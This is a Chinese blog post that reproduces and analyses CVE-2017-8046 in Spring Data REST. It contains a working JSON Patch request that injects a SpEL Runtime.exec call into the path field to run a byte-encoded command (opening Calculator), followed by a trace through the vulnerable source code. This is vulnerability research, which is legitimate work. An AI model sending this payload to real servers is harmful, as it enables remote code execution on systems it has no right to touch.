• CVE-2017-8046 复现与分析


    环境搭建

    使用的项目为https://github.com/spring-guides/gs-accessing-data-rest.git里面的complete,直接用IDEA导入,并修改pom.xml中版本信息为漏洞版本。这里改为1.5.6。

    之前尝试搭建了另一个验证环境,但是修改版本后加载一直报错,不知道是什么原因,写完在研究下。

    直接运行,默认端口8080,访问http://localhost:8080/

    people类有两个属性,firstName和lastName

     1 package hello;
     2 
     3 import javax.persistence.Entity;
     4 import javax.persistence.GeneratedValue;
     5 import javax.persistence.GenerationType;
     6 import javax.persistence.Id;
     7 
     8 @Entity
     9 public class Person {
    10 
    11     @Id
    12     @GeneratedValue(strategy = GenerationType.AUTO)
    13     private long id;
    14 
    15     private String firstName;
    16     private String lastName;
    17 
    18     public String getFirstName() {
    19         return firstName;
    20     }
    21 
    22     public void setFirstName(String firstName) {
    23         this.firstName = firstName;
    24     }
    25 
    26     public String getLastName() {
    27         return lastName;
    28     }
    29 
    30     public void setLastName(String lastName) {
    31         this.lastName = lastName;
    32     }
    33 }

    根据rest api规定,用POST请求新建一个people,请求如下

    POST /people HTTP/1.1
    Host: localhost:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 32

    {"firstName":"w","lastName":"q"}

    此时已创建一个people对象,通过GET请求可以访问对象

    漏洞复现

    需要用PATCH方法,而且请求格式为JSON。根据RFC 6902,发送JSON文档结构需要注意以下两点:

    1、请求头为Content-Type: application/json-patch+json

    2、需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割

    这样我们就可以构造payload了

    PATCH /people/1 HTTP/1.1
    Host: localhost:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Content-Type:application/json-patch+json
    Upgrade-Insecure-Requests: 1
    Content-Length: 256

    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]

    参数path存在代码注入,可执行系统命令,这里运行的命令是open /Applications/Calculator.app,成功弹出计算器

    漏洞分析

    入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()

    通过request.isJsonPatchRequest确定是PATCH请求之后,调用applyPatch(request.getBody(), target);。其中isJsonPatchRequest的判断方法是

    1 public boolean isJsonPatchRequest() {
    2     // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
    3     return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
    4 }

    所以这就要求我们使用PATCH方法时,contentType要为application/json-patch+json。

    继续跟踪进入到applyPatch()方法中:

    1 <T> T applyPatch(InputStream source, T target) throws Exception {
    2     return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
    3 }

    继续跟踪进入到getPatchOperations()中:

    1 private Patch getPatchOperations(InputStream source) {
    2     try {
    3         return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
    4     } catch (Exception o_O) {
    5         throw new HttpMessageNotReadableException(
    6                 String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
    7     }
    8 }

    利用mapper初始化JsonPatchPatchConverter()对象之后调用convert()方法。跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()方法

     1 public Patch convert(JsonNode jsonNode) {
     2         if (!(jsonNode instanceof ArrayNode)) {
     3             throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
     4         } else {
     5             ArrayNode opNodes = (ArrayNode)jsonNode;
     6             List<PatchOperation> ops = new ArrayList(opNodes.size());
     7             Iterator elements = opNodes.elements();
     8 
     9             while(elements.hasNext()) {
    10                 JsonNode opNode = (JsonNode)elements.next();
    11                 String opType = opNode.get("op").textValue();
    12                 String path = opNode.get("path").textValue();
    13                 JsonNode valueNode = opNode.get("value");
    14                 Object value = this.valueFromJsonNode(path, valueNode);
    15                 String from = opNode.has("from") ? opNode.get("from").textValue() : null;
    16                 if (opType.equals("test")) {
    17                     ops.add(new TestOperation(path, value));
    18                 } else if (opType.equals("replace")) {
    19                     ops.add(new ReplaceOperation(path, value));
    20                 } else if (opType.equals("remove")) {
    21                     ops.add(new RemoveOperation(path));
    22                 } else if (opType.equals("add")) {
    23                     ops.add(new AddOperation(path, value));
    24                 } else if (opType.equals("copy")) {
    25                     ops.add(new CopyOperation(path, from));
    26                 } else {
    27                     if (!opType.equals("move")) {
    28                         throw new PatchException("Unrecognized operation type: " + opType);
    29                     }
    30 
    31                     ops.add(new MoveOperation(path, from));
    32                 }
    33             }
    34 
    35             return new Patch(ops);
    36         }
    37     }

    convert()方法返回Patch()对象,其中的ops包含了我们的payload。进入到org.springframework.data.rest.webmvc.json.patch.Patch中,

    1 public Patch(List<PatchOperation> operations) {
    2     this.operations = operations;
    3 }

    通过上一步地分析,ops是一个List<PatchOperation>对象,每一个PatchOperation对象中包含了op、path、value三个内容。进入到PatchOperation分析其赋值情况

    1 public PatchOperation(String op, String path, Object value) {
    2 
    3     this.op = op;
    4     this.path = path;
    5     this.value = value;
    6     this.spelExpression = pathToExpression(path);
    7 }

    进入到pathToExpression()中

    1 public static Expression pathToExpression(String path) {
    2     return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
    3 }

    可以看到这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()。进入到pathToSpEL()中。

     1 private static String pathToSpEL(String path) {
     2     return pathNodesToSpEL(path.split("\/"));          // 使用/分割路径
     3 }
     4 
     5 private static String pathNodesToSpEL(String[] pathNodes) {
     6     StringBuilder spelBuilder = new StringBuilder();
     7     for (int i = 0; i < pathNodes.length; i++) {
     8         String pathNode = pathNodes[i];
     9         if (pathNode.length() == 0) {
    10             continue;
    11         }
    12         if (APPEND_CHARACTERS.contains(pathNode)) {
    13             if (spelBuilder.length() > 0) {
    14                 spelBuilder.append(".");            // 使用.重新组合路径
    15             }
    16             spelBuilder.append("$[true]");
    17             continue;
    18         }
    19         try {
    20             int index = Integer.parseInt(pathNode);
    21             spelBuilder.append('[').append(index).append(']');
    22         } catch (NumberFormatException e) {
    23             if (spelBuilder.length() > 0) {
    24                 spelBuilder.append('.');
    25             }
    26             spelBuilder.append(pathNode);
    27         }
    28     }
    29     String spel = spelBuilder.toString();
    30     if (spel.length() == 0) {
    31         spel = "#this";
    32     }
    33     return spel;
    34 }

    重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()中,

    1 T applyPatch(InputStream source, T target) throws Exception {
    2     return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
    3 }

    实际上PatchOperation是一个抽象类,实际上应该调用其实现类的perform()方法。通过动态调试分析,此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。进入到ReplaceOperation:perform()中,

    1 <T> void perform(Object target, Class<T> type) {
    2     setValueOnTarget(target, evaluateValueFromTarget(target, type));
    3 }
    4 
    5 protected void setValueOnTarget(Object target, Object value) {
    6     spelExpression.setValue(target, value);
    7 }

    在setValueOnTarget()中会调用spelExpression对spel表示式进行解析,从而触发漏洞。

    漏洞验证

    明天用pocsuite写下poc,现在困了。

    
    
    
  • 相关阅读:
    常用正则总结
    JavaScript中with语句的理解
    设置点击文本框或图片弹出日历控件
    设置时间 new Date
    windows 下配置 nginx的问题
    CSS3滚动条-webkit-scrollbar
    /、./、../ 的区别
    js中如何获取纯正的undefined?
    关于渐进增强和优雅降级
    每日一练-第三期
  • 原文地址:https://www.cnblogs.com/co10rway/p/9380441.html
Copyright © 2020-2023  润新知